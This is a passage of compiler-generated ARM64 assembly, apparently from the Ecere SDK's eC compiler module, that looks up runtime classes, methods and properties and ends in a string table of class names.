ldr x8, [x8, ___ecereClass_MethodImport@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.26@PAGE
add x1, x1, l_.str.26@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass_ModuleImport@GOTPAGE
ldr x8, [x8, ___ecereClass_ModuleImport@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.27@PAGE
add x1, x1, l_.str.27@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass_PropertyImport@GOTPAGE
ldr x8, [x8, ___ecereClass_PropertyImport@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.28@PAGE
add x1, x1, l_.str.28@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass_Specifier@GOTPAGE
ldr x8, [x8, ___ecereClass_Specifier@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.29@PAGE
add x1, x1, l_.str.29@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass_Statement@GOTPAGE
ldr x8, [x8, ___ecereClass_Statement@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.30@PAGE
add x1, x1, l_.str.30@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass_Symbol@GOTPAGE
ldr x8, [x8, ___ecereClass_Symbol@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.31@PAGE
add x1, x1, l_.str.31@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass_TemplateArgument@GOTPAGE
ldr x8, [x8, ___ecereClass_TemplateArgument@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.32@PAGE
add x1, x1, l_.str.32@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass_TemplateDatatype@GOTPAGE
ldr x8, [x8, ___ecereClass_TemplateDatatype@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.33@PAGE
add x1, x1, l_.str.33@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass_TemplateParameter@GOTPAGE
ldr x8, [x8, ___ecereClass_TemplateParameter@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.34@PAGE
add x1, x1, l_.str.34@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass_Type@GOTPAGE
ldr x8, [x8, ___ecereClass_Type@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.35@PAGE
add x1, x1, l_.str.35@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass_TypeName@GOTPAGE
ldr x8, [x8, ___ecereClass_TypeName@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.36@PAGE
add x1, x1, l_.str.36@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass___ecereNameSpace__ecere__com__BTNamedLink@GOTPAGE
ldr x8, [x8, ___ecereClass___ecereNameSpace__ecere__com__BTNamedLink@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.37@PAGE
add x1, x1, l_.str.37@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass___ecereNameSpace__ecere__com__Class@GOTPAGE
ldr x8, [x8, ___ecereClass___ecereNameSpace__ecere__com__Class@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.38@PAGE
add x1, x1, l_.str.38@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass___ecereNameSpace__ecere__com__ClassTemplateArgument@GOTPAGE
ldr x8, [x8, ___ecereClass___ecereNameSpace__ecere__com__ClassTemplateArgument@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.39@PAGE
add x1, x1, l_.str.39@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
stur x0, [x29, #-40]
ldur x0, [x29, #-40]
ldur x2, [x29, #-32]
adrp x1, l_.str.40@PAGE
add x1, x1, l_.str.40@PAGEOFF
bl ___ecereNameSpace__ecere__com__eClass_FindMethod
stur x0, [x29, #-48]
ldur x8, [x29, #-48]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
ldur x8, [x29, #-48]
ldr w8, [x8, #48]
adrp x9, ___ecereVMethodID___ecereNameSpace__ecere__com__Container_Add@GOTPAGE
ldr x9, [x9, ___ecereVMethodID___ecereNameSpace__ecere__com__Container_Add@GOTPAGEOFF]
str w8, [x9]
b LBB0_2
LBB0_2:
ldur x0, [x29, #-40]
ldur x2, [x29, #-32]
adrp x1, l_.str.41@PAGE
add x1, x1, l_.str.41@PAGEOFF
bl ___ecereNameSpace__ecere__com__eClass_FindMethod
stur x0, [x29, #-48]
ldur x8, [x29, #-48]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_4
b LBB0_3
LBB0_3:
ldur x8, [x29, #-48]
ldr w8, [x8, #48]
adrp x9, ___ecereVMethodID___ecereNameSpace__ecere__com__Container_Free@GOTPAGE
ldr x9, [x9, ___ecereVMethodID___ecereNameSpace__ecere__com__Container_Free@GOTPAGEOFF]
str w8, [x9]
b LBB0_4
LBB0_4:
ldur x0, [x29, #-40]
ldur x2, [x29, #-32]
adrp x1, l_.str.42@PAGE
add x1, x1, l_.str.42@PAGEOFF
bl ___ecereNameSpace__ecere__com__eClass_FindMethod
stur x0, [x29, #-48]
ldur x8, [x29, #-48]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_6
b LBB0_5
LBB0_5:
ldur x8, [x29, #-48]
ldr w8, [x8, #48]
adrp x9, ___ecereVMethodID___ecereNameSpace__ecere__com__Container_RemoveAll@GOTPAGE
ldr x9, [x9, ___ecereVMethodID___ecereNameSpace__ecere__com__Container_RemoveAll@GOTPAGEOFF]
str w8, [x9]
b LBB0_6
LBB0_6:
ldur x0, [x29, #-32]
adrp x1, l_.str.43@PAGE
add x1, x1, l_.str.43@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass___ecereNameSpace__ecere__com__CustomAVLTree@GOTPAGE
ldr x8, [x8, ___ecereClass___ecereNameSpace__ecere__com__CustomAVLTree@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.44@PAGE
add x1, x1, l_.str.44@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass___ecereNameSpace__ecere__com__DataMember@GOTPAGE
ldr x8, [x8, ___ecereClass___ecereNameSpace__ecere__com__DataMember@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.45@PAGE
add x1, x1, l_.str.45@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass___ecereNameSpace__ecere__com__DataValue@GOTPAGE
ldr x8, [x8, ___ecereClass___ecereNameSpace__ecere__com__DataValue@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.46@PAGE
add x1, x1, l_.str.46@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass___ecereNameSpace__ecere__com__GlobalFunction@GOTPAGE
ldr x8, [x8, ___ecereClass___ecereNameSpace__ecere__com__GlobalFunction@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.47@PAGE
add x1, x1, l_.str.47@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass___ecereNameSpace__ecere__com__Iterator@GOTPAGE
ldr x8, [x8, ___ecereClass___ecereNameSpace__ecere__com__Iterator@GOTPAGEOFF]
str x0, [x8]
ldr x0, [x8]
ldur x2, [x29, #-32]
adrp x1, l_.str.48@PAGE
add x1, x1, l_.str.48@PAGEOFF
bl ___ecereNameSpace__ecere__com__eClass_FindProperty
mov x8, x0
str x8, [sp, #56]
adrp x8, ___ecereProp___ecereNameSpace__ecere__com__Iterator_data@GOTPAGE
ldr x8, [x8, ___ecereProp___ecereNameSpace__ecere__com__Iterator_data@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.49@PAGE
add x1, x1, l_.str.49@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass___ecereNameSpace__ecere__com__IteratorPointer@GOTPAGE
ldr x8, [x8, ___ecereClass___ecereNameSpace__ecere__com__IteratorPointer@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.50@PAGE
add x1, x1, l_.str.50@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass___ecereNameSpace__ecere__com__List@GOTPAGE
ldr x8, [x8, ___ecereClass___ecereNameSpace__ecere__com__List@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.51@PAGE
add x1, x1, l_.str.51@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass___ecereNameSpace__ecere__com__List_TPL_String_@GOTPAGE
ldr x8, [x8, ___ecereClass___ecereNameSpace__ecere__com__List_TPL_String_@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.52@PAGE
add x1, x1, l_.str.52@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass___ecereNameSpace__ecere__com__Map@GOTPAGE
ldr x8, [x8, ___ecereClass___ecereNameSpace__ecere__com__Map@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.53@PAGE
add x1, x1, l_.str.53@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass___ecereNameSpace__ecere__com__Map_TPL_ContextStringPair__ecere__com__List_TPL_String___@GOTPAGE
ldr x8, [x8, ___ecereClass___ecereNameSpace__ecere__com__Map_TPL_ContextStringPair__ecere__com__List_TPL_String___@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.54@PAGE
add x1, x1, l_.str.54@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
ldr x8, [sp, #32] ; 8-byte Folded Reload
str x0, [x8]
ldr x0, [x8]
ldur x2, [x29, #-32]
adrp x1, l_.str.55@PAGE
add x1, x1, l_.str.55@PAGEOFF
bl ___ecereNameSpace__ecere__com__eClass_FindProperty
ldr x8, [sp, #32] ; 8-byte Folded Reload
mov x9, x0
str x9, [sp, #56]
adrp x9, ___ecereProp___ecereNameSpace__ecere__com__MapIterator_key@GOTPAGE
ldr x9, [x9, ___ecereProp___ecereNameSpace__ecere__com__MapIterator_key@GOTPAGEOFF]
str x0, [x9]
ldr x0, [x8]
ldur x2, [x29, #-32]
adrp x1, l_.str.56@PAGE
add x1, x1, l_.str.56@PAGEOFF
bl ___ecereNameSpace__ecere__com__eClass_FindProperty
mov x8, x0
str x8, [sp, #56]
adrp x8, ___ecereProp___ecereNameSpace__ecere__com__MapIterator_map@GOTPAGE
ldr x8, [x8, ___ecereProp___ecereNameSpace__ecere__com__MapIterator_map@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.57@PAGE
add x1, x1, l_.str.57@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass___ecereNameSpace__ecere__com__Method@GOTPAGE
ldr x8, [x8, ___ecereClass___ecereNameSpace__ecere__com__Method@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.58@PAGE
add x1, x1, l_.str.58@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass___ecereNameSpace__ecere__com__NameSpace@GOTPAGE
ldr x8, [x8, ___ecereClass___ecereNameSpace__ecere__com__NameSpace@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.59@PAGE
add x1, x1, l_.str.59@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
stur x0, [x29, #-40]
ldur x0, [x29, #-40]
ldur x2, [x29, #-32]
adrp x1, l_.str.60@PAGE
add x1, x1, l_.str.60@PAGEOFF
bl ___ecereNameSpace__ecere__com__eClass_FindProperty
mov x8, x0
str x8, [sp, #56]
adrp x8, ___ecereProp___ecereNameSpace__ecere__com__Platform_char__PTR_@GOTPAGE
ldr x8, [x8, ___ecereProp___ecereNameSpace__ecere__com__Platform_char__PTR_@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.61@PAGE
add x1, x1, l_.str.61@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass___ecereNameSpace__ecere__com__Property@GOTPAGE
ldr x8, [x8, ___ecereClass___ecereNameSpace__ecere__com__Property@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.62@PAGE
add x1, x1, l_.str.62@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass___ecereNameSpace__ecere__com__SerialBuffer@GOTPAGE
ldr x8, [x8, ___ecereClass___ecereNameSpace__ecere__com__SerialBuffer@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.63@PAGE
add x1, x1, l_.str.63@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass___ecereNameSpace__ecere__com__SubModule@GOTPAGE
ldr x8, [x8, ___ecereClass___ecereNameSpace__ecere__com__SubModule@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.64@PAGE
add x1, x1, l_.str.64@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass___ecereNameSpace__ecere__sys__BTNode@GOTPAGE
ldr x8, [x8, ___ecereClass___ecereNameSpace__ecere__sys__BTNode@GOTPAGEOFF]
str x0, [x8]
ldr x0, [x8]
ldur x2, [x29, #-32]
adrp x1, l_.str.65@PAGE
add x1, x1, l_.str.65@PAGEOFF
bl ___ecereNameSpace__ecere__com__eClass_FindProperty
mov x8, x0
str x8, [sp, #56]
adrp x8, ___ecereProp___ecereNameSpace__ecere__sys__BTNode_next@GOTPAGE
ldr x8, [x8, ___ecereProp___ecereNameSpace__ecere__sys__BTNode_next@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.66@PAGE
add x1, x1, l_.str.66@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass___ecereNameSpace__ecere__sys__BinaryTree@GOTPAGE
ldr x8, [x8, ___ecereClass___ecereNameSpace__ecere__sys__BinaryTree@GOTPAGEOFF]
str x0, [x8]
ldr x0, [x8]
ldur x2, [x29, #-32]
adrp x1, l_.str.67@PAGE
add x1, x1, l_.str.67@PAGEOFF
bl ___ecereNameSpace__ecere__com__eClass_FindProperty
mov x8, x0
str x8, [sp, #56]
adrp x8, ___ecereProp___ecereNameSpace__ecere__sys__BinaryTree_first@GOTPAGE
ldr x8, [x8, ___ecereProp___ecereNameSpace__ecere__sys__BinaryTree_first@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.68@PAGE
add x1, x1, l_.str.68@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
ldr x8, [sp, #40] ; 8-byte Folded Reload
str x0, [x8]
ldr x0, [x8]
ldur x2, [x29, #-32]
adrp x1, l_.str.69@PAGE
add x1, x1, l_.str.69@PAGEOFF
bl ___ecereNameSpace__ecere__com__eClass_FindMethod
stur x0, [x29, #-48]
ldur x8, [x29, #-48]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_8
b LBB0_7
LBB0_7:
ldur x8, [x29, #-48]
ldr w8, [x8, #48]
adrp x9, ___ecereVMethodID___ecereNameSpace__ecere__sys__File_Eof@GOTPAGE
ldr x9, [x9, ___ecereVMethodID___ecereNameSpace__ecere__sys__File_Eof@GOTPAGEOFF]
str w8, [x9]
b LBB0_8
LBB0_8:
ldr x8, [sp, #40] ; 8-byte Folded Reload
ldr x0, [x8]
ldur x2, [x29, #-32]
adrp x1, l_.str.70@PAGE
add x1, x1, l_.str.70@PAGEOFF
bl ___ecereNameSpace__ecere__com__eClass_FindMethod
stur x0, [x29, #-48]
ldur x8, [x29, #-48]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_10
b LBB0_9
LBB0_9:
ldur x8, [x29, #-48]
ldr w8, [x8, #48]
adrp x9, ___ecereVMethodID___ecereNameSpace__ecere__sys__File_Puts@GOTPAGE
ldr x9, [x9, ___ecereVMethodID___ecereNameSpace__ecere__sys__File_Puts@GOTPAGEOFF]
str w8, [x9]
b LBB0_10
LBB0_10:
ldr x8, [sp, #40] ; 8-byte Folded Reload
ldr x0, [x8]
ldur x2, [x29, #-32]
adrp x1, l_.str.71@PAGE
add x1, x1, l_.str.71@PAGEOFF
bl ___ecereNameSpace__ecere__com__eClass_FindMethod
stur x0, [x29, #-48]
ldur x8, [x29, #-48]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_12
b LBB0_11
LBB0_11:
ldur x8, [x29, #-48]
ldr w8, [x8, #48]
adrp x9, ___ecereVMethodID___ecereNameSpace__ecere__sys__File_Read@GOTPAGE
ldr x9, [x9, ___ecereVMethodID___ecereNameSpace__ecere__sys__File_Read@GOTPAGEOFF]
str w8, [x9]
b LBB0_12
LBB0_12:
ldr x8, [sp, #40] ; 8-byte Folded Reload
ldr x0, [x8]
ldur x2, [x29, #-32]
adrp x1, l_.str.72@PAGE
add x1, x1, l_.str.72@PAGEOFF
bl ___ecereNameSpace__ecere__com__eClass_FindMethod
stur x0, [x29, #-48]
ldur x8, [x29, #-48]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_14
b LBB0_13
LBB0_13:
ldur x8, [x29, #-48]
ldr w8, [x8, #48]
adrp x9, ___ecereVMethodID___ecereNameSpace__ecere__sys__File_Seek@GOTPAGE
ldr x9, [x9, ___ecereVMethodID___ecereNameSpace__ecere__sys__File_Seek@GOTPAGEOFF]
str w8, [x9]
b LBB0_14
LBB0_14:
ldr x8, [sp, #40] ; 8-byte Folded Reload
ldr x0, [x8]
ldur x2, [x29, #-32]
adrp x1, l_.str.73@PAGE
add x1, x1, l_.str.73@PAGEOFF
bl ___ecereNameSpace__ecere__com__eClass_FindMethod
stur x0, [x29, #-48]
ldur x8, [x29, #-48]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_16
b LBB0_15
LBB0_15:
ldur x8, [x29, #-48]
ldr w8, [x8, #48]
adrp x9, ___ecereVMethodID___ecereNameSpace__ecere__sys__File_Write@GOTPAGE
ldr x9, [x9, ___ecereVMethodID___ecereNameSpace__ecere__sys__File_Write@GOTPAGEOFF]
str w8, [x9]
b LBB0_16
LBB0_16:
ldur x0, [x29, #-32]
adrp x1, l_.str.74@PAGE
add x1, x1, l_.str.74@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass___ecereNameSpace__ecere__sys__OldLink@GOTPAGE
ldr x8, [x8, ___ecereClass___ecereNameSpace__ecere__sys__OldLink@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.75@PAGE
add x1, x1, l_.str.75@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass___ecereNameSpace__ecere__sys__OldList@GOTPAGE
ldr x8, [x8, ___ecereClass___ecereNameSpace__ecere__sys__OldList@GOTPAGEOFF]
str x0, [x8]
ldur x0, [x29, #-32]
adrp x1, l_.str.76@PAGE
add x1, x1, l_.str.76@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
adrp x8, ___ecereClass___ecereNameSpace__ecere__sys__TempFile@GOTPAGE
ldr x8, [x8, ___ecereClass___ecereNameSpace__ecere__sys__TempFile@GOTPAGEOFF]
str x0, [x8]
mov x0, #0
adrp x1, l_.str.77@PAGE
add x1, x1, l_.str.77@PAGEOFF
str x1, [sp, #16] ; 8-byte Folded Spill
bl ___ecereNameSpace__ecere__LoadTranslatedStrings
adrp x8, ___currentModule@PAGE
str x8, [sp, #24] ; 8-byte Folded Spill
adrp x9, ___currentModule@PAGE
add x9, x9, ___currentModule@PAGEOFF
str x9, [sp, #8] ; 8-byte Folded Spill
ldr x0, [x8, ___currentModule@PAGEOFF]
adrp x1, l_.str.78@PAGE
add x1, x1, l_.str.78@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
mov x8, x0
ldr x0, [sp, #8] ; 8-byte Folded Reload
stur x8, [x29, #-40]
ldur x1, [x29, #-40]
bl ___ecereNameSpace__ecere__com__eInstance_Evolve
ldr x8, [sp, #24] ; 8-byte Folded Reload
ldr x8, [x8, ___currentModule@PAGEOFF]
adrp x9, ___thisModule@GOTPAGE
ldr x9, [x9, ___thisModule@GOTPAGEOFF]
str x8, [x9]
bl ___ecereCreateModuleInstances_ecs
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldr x8, [x9, ___currentModule@PAGEOFF]
ldr x8, [x8]
ldr x8, [x8, #96]
ldr x0, [x9, ___currentModule@PAGEOFF]
blr x8
bl ___ecereDestroyModuleInstances_ecs
ldr x0, [sp, #16] ; 8-byte Folded Reload
bl ___ecereNameSpace__ecere__UnloadTranslatedStrings
ldr x8, [sp, #24] ; 8-byte Folded Reload
ldr x0, [x8, ___currentModule@PAGEOFF]
adrp x1, l_.str.2@PAGE
add x1, x1, l_.str.2@PAGEOFF
bl ___ecereNameSpace__ecere__com__eSystem_FindClass
ldr x8, [sp, #24] ; 8-byte Folded Reload
stur x0, [x29, #-40]
ldr x9, [x8, ___currentModule@PAGEOFF]
ldr w9, [x9, #316]
stur w9, [x29, #-20]
ldr x0, [x8, ___currentModule@PAGEOFF]
bl ___ecereNameSpace__ecere__com__eInstance_DecRef
ldr x8, [sp, #24] ; 8-byte Folded Reload
str xzr, [x8, ___currentModule@PAGEOFF]
ldur w0, [x29, #-20]
ldp x29, x30, [sp, #112] ; 16-byte Folded Reload
add sp, sp, #128
ret
.cfi_endproc
; -- End function
.globl ___ecereRegisterModule_ecs_main ; -- Begin function __ecereRegisterModule_ecs_main
.p2align 2
___ecereRegisterModule_ecs_main: ; @__ecereRegisterModule_ecs_main
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, #8]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl ___ecereUnregisterModule_ecs_main ; -- Begin function __ecereUnregisterModule_ecs_main
.p2align 2
___ecereUnregisterModule_ecs_main: ; @__ecereUnregisterModule_ecs_main
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, #8]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.zerofill __DATA,__bss,___currentModule,8,3 ; @__currentModule
.comm ___thisModule,8,3 ; @__thisModule
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "ec"
l_.str.1: ; @.str.1
.asciz "ecere"
l_.str.2: ; @.str.2
.asciz "ecere::com::Application"
.comm ___ecereClass___ecereNameSpace__ecere__com__Application,8,3 ; @__ecereClass___ecereNameSpace__ecere__com__Application
l_.str.3: ; @.str.3
.asciz "ecere::com::Instance"
.comm ___ecereClass___ecereNameSpace__ecere__com__Instance,8,3 ; @__ecereClass___ecereNameSpace__ecere__com__Instance
l_.str.4: ; @.str.4
.asciz "ecere::com::Module"
.comm ___ecereClass___ecereNameSpace__ecere__com__Module,8,3 ; @__ecereClass___ecereNameSpace__ecere__com__Module
l_.str.5: ; @.str.5
.asciz "Attrib"
.comm ___ecereClass_Attrib,8,3 ; @__ecereClass_Attrib
l_.str.6: ; @.str.6
.asciz "ClassDefinition"
.comm ___ecereClass_ClassDefinition,8,3 ; @__ecereClass_ClassDefinition
l_.str.7: ; @.str.7
.asciz "ClassImport"
.comm ___ecereClass_ClassImport,8,3 ; @__ecereClass_ClassImport
l_.str.8: ; @.str.8
.asciz "CodePosition"
.comm ___ecereClass_CodePosition,8,3 ; @__ecereClass_CodePosition
l_.str.9: ; @.str.9
.asciz "Context"
.comm ___ecereClass_Context,8,3 ; @__ecereClass_Context
l_.str.10: ; @.str.10
.asciz "ContextStringPair"
.comm ___ecereClass_ContextStringPair,8,3 ; @__ecereClass_ContextStringPair
l_.str.11: ; @.str.11
.asciz "DBTableDef"
.comm ___ecereClass_DBTableDef,8,3 ; @__ecereClass_DBTableDef
l_.str.12: ; @.str.12
.asciz "Declaration"
.comm ___ecereClass_Declaration,8,3 ; @__ecereClass_Declaration
l_.str.13: ; @.str.13
.asciz "Declarator"
.comm ___ecereClass_Declarator,8,3 ; @__ecereClass_Declarator
l_.str.14: ; @.str.14
.asciz "Definition"
.comm ___ecereClass_Definition,8,3 ; @__ecereClass_Definition
l_.str.15: ; @.str.15
.asciz "Expression"
.comm ___ecereClass_Expression,8,3 ; @__ecereClass_Expression
l_.str.16: ; @.str.16
.asciz "ExtDecl"
.comm ___ecereClass_ExtDecl,8,3 ; @__ecereClass_ExtDecl
l_.str.17: ; @.str.17
.asciz "External"
.comm ___ecereClass_External,8,3 ; @__ecereClass_External
l_.str.18: ; @.str.18
.asciz "FunctionDefinition"
.comm ___ecereClass_FunctionDefinition,8,3 ; @__ecereClass_FunctionDefinition
l_.str.19: ; @.str.19
.asciz "FunctionImport"
.comm ___ecereClass_FunctionImport,8,3 ; @__ecereClass_FunctionImport
l_.str.20: ; @.str.20
.asciz "Identifier"
.comm ___ecereClass_Identifier,8,3 ; @__ecereClass_Identifier
l_.str.21: ; @.str.21
.asciz "ImportedModule"
.comm ___ecereClass_ImportedModule,8,3 ; @__ecereClass_ImportedModule
l_.str.22: ; @.str.22
.asciz "Initializer"
.comm ___ecereClass_Initializer,8,3 ; @__ecereClass_Initializer
l_.str.23: ; @.str.23
.asciz "Instantiation"
.comm ___ecereClass_Instantiation,8,3 ; @__ecereClass_Instantiation
l_.str.24: ; @.str.24
.asciz "Location"
.comm ___ecereClass_Location,8,3 ; @__ecereClass_Location
l_.str.25: ; @.str.25
.asciz "MethodImport"
.comm ___ecereClass_MethodImport,8,3 ; @__ecereClass_MethodImport
l_.str.26: ; @.str.26
.asciz "ModuleImport"
.comm ___ecereClass_ModuleImport,8,3 ; @__ecereClass_ModuleImport
l_.str.27: ; @.str.27
.asciz "PropertyImport"
.comm ___ecereClass_PropertyImport,8,3 ; @__ecereClass_PropertyImport
l_.str.28: ; @.str.28
.asciz "Specifier"
.comm ___ecereClass_Specifier,8,3 ; @__ecereClass_Specifier
l_.str.29: ; @.str.29
.asciz "Statement"
.comm ___ecereClass_Statement,8,3 ; @__ecereClass_Statement
l_.str.30: ; @.str.30
.asciz "Symbol"
.comm ___ecereClass_Symbol,8,3 ; @__ecereClass_Symbol
l_.str.31: ; @.str.31
.asciz "TemplateArgument"
.comm ___ecereClass_TemplateArgument,8,3 ; @__ecereClass_TemplateArgument
l_.str.32: ; @.str.32
.asciz "TemplateDatatype"
.comm ___ecereClass_TemplateDatatype,8,3 ; @__ecereClass_TemplateDatatype
l_.str.33: ; @.str.33
.asciz "TemplateParameter"
.comm ___ecereClass_TemplateParameter,8,3 ; @__ecereClass_TemplateParameter
l_.str.34: ; @.str.34
.asciz "Type"
.comm ___ecereClass_Type,8,3 ; @__ecereClass_Type
l_.str.35: ; @.str.35
.asciz "TypeName"
.comm ___ecereClass_TypeName,8,3 ; @__ecereClass_TypeName
l_.str.36: ; @.str.36
.asciz "ecere::com::BTNamedLink"
.comm ___ecereClass___ecereNameSpace__ecere__com__BTNamedLink,8,3 ; @__ecereClass___ecereNameSpace__ecere__com__BTNamedLink
l_.str.37: ; @.str.37
.asciz "ecere::com::Class"
.comm ___ecereClass___ecereNameSpace__ecere__com__Class,8,3 ; @__ecereClass___ecereNameSpace__ecere__com__Class
l_.str.38: ; @.str.38
.asciz "ecere::com::ClassTemplateArgument"
.comm ___ecereClass___ecereNameSpace__ecere__com__ClassTemplateArgument,8,3 ; @__ecereClass___ecereNameSpace__ecere__com__ClassTemplateArgument
l_.str.39: ; @.str.39
.asciz "ecere::com::Container"
l_.str.40: ; @.str.40
.asciz "Add"
.comm ___ecereVMethodID___ecereNameSpace__ecere__com__Container_Add,4,2 ; @__ecereVMethodID___ecereNameSpace__ecere__com__Container_Add
l_.str.41: ; @.str.41
.asciz "Free"
.comm ___ecereVMethodID___ecereNameSpace__ecere__com__Container_Free,4,2 ; @__ecereVMethodID___ecereNameSpace__ecere__com__Container_Free
l_.str.42: ; @.str.42
.asciz "RemoveAll"
